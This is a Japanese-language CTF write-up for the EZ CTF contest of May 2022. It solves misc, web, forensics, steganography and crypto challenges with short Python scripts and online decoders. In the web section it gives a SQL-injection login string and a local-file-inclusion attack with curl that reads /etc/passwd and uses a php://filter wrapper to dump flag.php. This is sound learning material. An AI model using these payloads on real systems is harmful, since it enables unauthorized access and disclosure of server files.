EZ CTF | Beginner Friendly Writeup

この大会は2022/5/7 1:00(JST)~2022/5/8 1:00(JST)に開催されました。
今回もチームで参戦。結果は3975点で731チーム中66位でした。
自分で解けた問題をWriteupとして書いておきます。

Wavie Wave (Misc 200)

Audacityで開き、スペクトログラムを見る。サンプル周波数を調整すると、フラグが読める。

CTF{KNOW_YOUR_SPECTOGRAAAAMS}

EZ-CTF{KNOW_YOUR_SPECTOGRAAAAMS}

Grandma (Misc 350)

hexdumpしたようなデータになっているが、先頭3バイトの16進数表記がXXとなっている。PNG形式のデータであることがわかっているので、89 50 4e としてPNGを復元する。

#!/usr/bin/env python3
with open('Grandma.jpg', 'rb') as f:
    data = f.read().splitlines()

png = b''
init = True
for d in data:
    h = d.split(b'  ')[1].replace(b' ', b'').decode()
    if init:
        init = False
        h = h.replace('XXXXXX', '89504e')
    png += bytes.fromhex(h)

with open('flag.png', 'wb') as f:
    f.write(png)


復元した画像にフラグが書いてあった。

EZ-CTF{W3LL_AINT_7H47COOL}

Super Secure (Web 100)

以下の情報でログインすると、フラグが表示された。

Name: ' or 1=1 -- -
Password: a
EZ-CTF{N0t_S0_S4f3_4ft3r_411}

I made a blog! (Web 150)

ブログの1つを見ようとすると、以下のURLに遷移する。

http://ez.ctf.cafe:9999/blog-posts.php?file=blog1.html

/etc/passwdを確認してみる。

$ curl http://ez.ctf.cafe:9999/blog-posts.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

確認できたが、フラグがどこにあるかわからない。http://ez.ctf.cafe:9999/robots.txtにアクセスすると、以下のように表示される。

User-agent: *
Disallow: /flag.php
$ curl http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K

$ echo PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K | base64 -d
<?php
	echo 'How do you filter your coffee?';    
	// EZ-CTF{LFI_1S_3Z}
?>
EZ-CTF{LFI_1S_3Z}

Race #1 (Web 200)

Discordで以下のように通知があった。

Since someone is ruining the fun for everyone and destroying Race #1 and Race #2 we have to shut them down.

どうやらWebサイトが破壊されたため、フラグを公開したとのこと。

EZ-CTF{R3C_T0_34SY_F0R_M3}

Race #2 (Web 300)

この問題もRace #1と同様。

EZ-CTF{1_4M_PR3TTY_G00D_4T_R3C}

DigitalOcean (Forensics 50)

スライド2にフラグの先頭部分が書かれている。

EZ-CTF{TH1S_

スライド5にフラグの末尾が書かれている。

1S_FR33}
EZ-CTF{TH1S_1S_FR33}

Bernie (Steganography 125)

steghideで隠しファイルを抽出する。このときパスワードは空で指定する。

$ steghide extract -sf Bernie.jpg 
Enter passphrase: 
wrote extracted data to "FlagHere.txt".

$ cat FlagHere.txt 
\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38xE\28x\32x\38x\28x\32x\38xZ\28x\32x\38x-\28x\32x\38xC\28x\32x\38x\28x\32x\38xT\28x\32x\38xF\28x\32x\38x{N\28x\32x\38xO\28x\32x\38xW\28x\32x\38x_\28x\32x\38x\28x\32x\38xY\28x\32x\38x\28x\32x\38xO\28x\32x\38xU_\28x\32x\38xS\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38xE\28x\32x\38x\28x\32x\38xE\28x\32x\38x_\28x\32x\38xM\28x\32x\38xE\28x\32x\38x\28x\32x\38x_\28x\32x\38xN\28x\32x\38xI\28x\32x\38x\28x\32x\38xC\28x\32x\38xE\28x\32x\38x}\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x

16進数表記としてデコードする。

(28(28(28(28E(28(28Z(28-(28C(28(28T(28F(28{N(28O(28W(28_(28(28Y(28(28O(28U_(28S(28(28(28(28E(28(28E(28_(28M(28E(28(28_(28N(28I(28(28C(28E(28}(28(28(28(28(28(28

"(28"はゴミなので、削除する。以上をスクリプトにしたものが以下のコード。

#!/usr/bin/env python3
with open('FlagHere.txt', 'r') as f:
    data = f.read()

hex_mode = False
code = ''
msg = ''
for d in data:
    if d == '\\':
        hex_mode = True
    elif hex_mode == True and d == 'x':
        msg += chr(int(code, 16))
        hex_mode = False
        code = ''
    elif hex_mode == True:
        code += d
    else:
        msg += d

print('[+] msg:', msg)

flag = msg.replace('(28', '')
print('[*] flag:', flag)

実行結果は以下の通り。

[+] msg: (28(28(28(28E(28(28Z(28-(28C(28(28T(28F(28{N(28O(28W(28_(28(28Y(28(28O(28U_(28S(28(28(28(28E(28(28E(28_(28M(28E(28(28_(28N(28I(28(28C(28E(28}(28(28(28(28(28(28
[*] flag: EZ-CTF{NOW_YOU_SEE_ME_NICE}
EZ-CTF{NOW_YOU_SEE_ME_NICE}

Nobody's perfect (Steganography 210)

https://stylesuxx.github.io/steganography/でデコードする。デコードしたデータの中にフラグが含まれていた。

EZ-CTF{Lickilicky_Is_Th3_Worst}

More Sense (Crypto 60)

"A", "B"とスペースの暗号になっている。モールス信号と推測しデコードする。
"A"を"."、"B"を"-"に置き換え、https://www.dcode.fr/morse-codeでデコードする。

BB BBBBB ABA AAA AAABB AABBAB BABB BBBBB AAB ABA AABBAB ABB AAAAB BABB AABBAB BBBBB AAB BBAAA AABBAB BBBBB AABA AABBAB AAAA AAABB ABA AAABB
    ↓
-- ----- .-. ... ...-- ..--.- -.-- ----- ..- .-. ..--.- .-- ....- -.-- ..--.- ----- ..- --... ..--.- ----- ..-. ..--.- .... ...-- .-. ...--
    ↓
M0RS3_Y0UR_W4Y_0U7_0F_H3R3
EZ-CTF{M0RS3_Y0UR_W4Y_0U7_0F_H3R3}

No Kidding (Crypto 70)

ガラケーキーパッドのキー入力と推測してデコードする。

8/44/444/7777\\\444/7777\\\8/44/33\\\555/2/6/33/7777/8\\\222/8/333\\\333/555/2/4\\\33/888/33/33/33/33/777
T H  I   S   _  I   S   _  T H  E _  L   A M E  S    T_  C   T F  _  F   L   A G_  E  V   E  E  E  E  R
EZ-CTF{THIS_IS_THE_LAMEST_CTF_FLAG_EVEEEER}

OMG (Crypto 80)

テキストエディタで開くとASCIIアートのように文字が見える。

1_HAT3_TH15_FL4G
EZ-CTF{1_HAT3_TH15_FL4G}

Slow Slow Slow (Crypto 240)

base64文字列になっているが、デコードしても、手掛かりはない。問題文にreverseという単語が使われていることから、バイト列を逆にすることを組み合わせて復号する。

#!/usr/bin/env python3
from base64 import *

with open('Slow Slow Slow.txt', 'r') as f:
    data = f.read()

data = data[::-1]

for _ in range(5):
    data = b64decode(data)

data = data[::-1]

with open('flag.jpg', 'wb') as f:
    f.write(data)


結果、逆順→base64デコード5回→逆順でjpgになり、画像にフラグが書いてあった。

EZ-CTF{SL0WP0K3_1NC3PT10N}

Gift Wrapped (Crypto 380)

hexdumpしたようなデータになっているので、デコードする。デコードしたデータをASCIIコードの連結したものと推測して、デコードする。

te tetted e tettetett tettet te tettetett tettek tettese - 105 132 55 103 124 106 173 127 63 61 162 144 137 174 55 174 165 156 147 64 162 61 141 156 137 124 60 156 147 165 63 137 124 167 61 163 164 63 162 175

ハイフンの後ろを8進数表記のASCIIコードとしてデコードする。

#!/usr/bin/env python3
with open('Gift Wrapped.txt', 'rb') as f:
    data = f.read().splitlines()

codes = b''
for d in data:
    h = d.split(b'  ')[1].replace(b' ', b'').decode()
    codes += bytes.fromhex(h)
codes = codes.decode()

msg = ''
code = ''
for c in codes:
    code += c
    if int(code) > 31 and int(code) < 127:
        msg += chr(int(code))
        code = ''

print('[+] message:', msg)

enc = msg.split(' - ')[1]
enc = enc.split(' ')
flag = ''
for c in enc:
    flag += chr(int(c, 8))
print('[*] flag:', flag)

実行結果は以下の通り。

[+] message: te tetted e tettetett tettet te tettetett tettek tettese - 105 132 55 103 124 106 173 127 63 61 162 144 137 174 55 174 165 156 147 64 162 61 141 156 137 124 60 156 147 165 63 137 124 167 61 163 164 63 162 175
[*] flag: EZ-CTF{W31rd_|-|ung4r1an_T0ngu3_Tw1st3r}
EZ-CTF{W31rd_|-|ung4r1an_T0ngu3_Tw1st3r}

Qweauty and the Beast (Crypto 470)

8進数表記のASCIIコードとしてデコードする。さらに後ろの文字列と逆順にする。

#!/usr/bin/env python3
enc = '124 150 151 163 40 151 163 40 144 145 146 151 156 151 164 145 154 171 40 141 40 146 154 141 147 40 175 163 73 144 106 137 156 166 141 145 126 137 60 106 137 163 150 141 122 137 150 152 64 64 64 103 137 153 145 101 137 153 145 63 144 106 173 125 106 126 55 132 113'

enc = enc.split(' ')
msg = ''
for c in enc:
    msg += chr(int(c, 8))
print(msg)

enc = msg.split('flag ')[1][::-1]
print(enc)

実行結果は以下の通り。

This is definitely a flag }s;dF_nvaeV_0F_shaR_hj444C_keA_ke3dF{UFV-ZK
KZ-VFU{Fd3ek_Aek_C444jh_Rahs_F0_Veavn_Fd;s}

問題タイトルから考えると、キーボードのキー配列が関係していそう。https://en.wikipedia.org/wiki/Keyboard_layoutを参考にして考える。
QWERTY配列とWorkman配列の対応表は以下のようになる。

QWERTY  QWERTYUIOPpASDFGHJKL+;ZXCVBNM
Workman QDRWBJFUP:;ASHTGYNEOIiZXMCVKL

このことを元にWorkman配列のものに変換する。

EZ-CTF{Th3re_Are_M444ny_Ways_T0_Crack_This}

Too Many Colors (Crypto 490)

hexahue。https://www.dcode.fr/hexahue-cipherでデコードする。ただし、そのままだと該当する文字がないので、180度回転させてデコードする。

KC4LBT1TN14PU0YN4C7VB3RUS

デコードした文字列を逆順にする。

SUR3BV7C4NY0UP41NT1TBL4CK
EZ-CTF{SUR3_BV7_C4N_Y0U_P41NT_1T_BL4CK}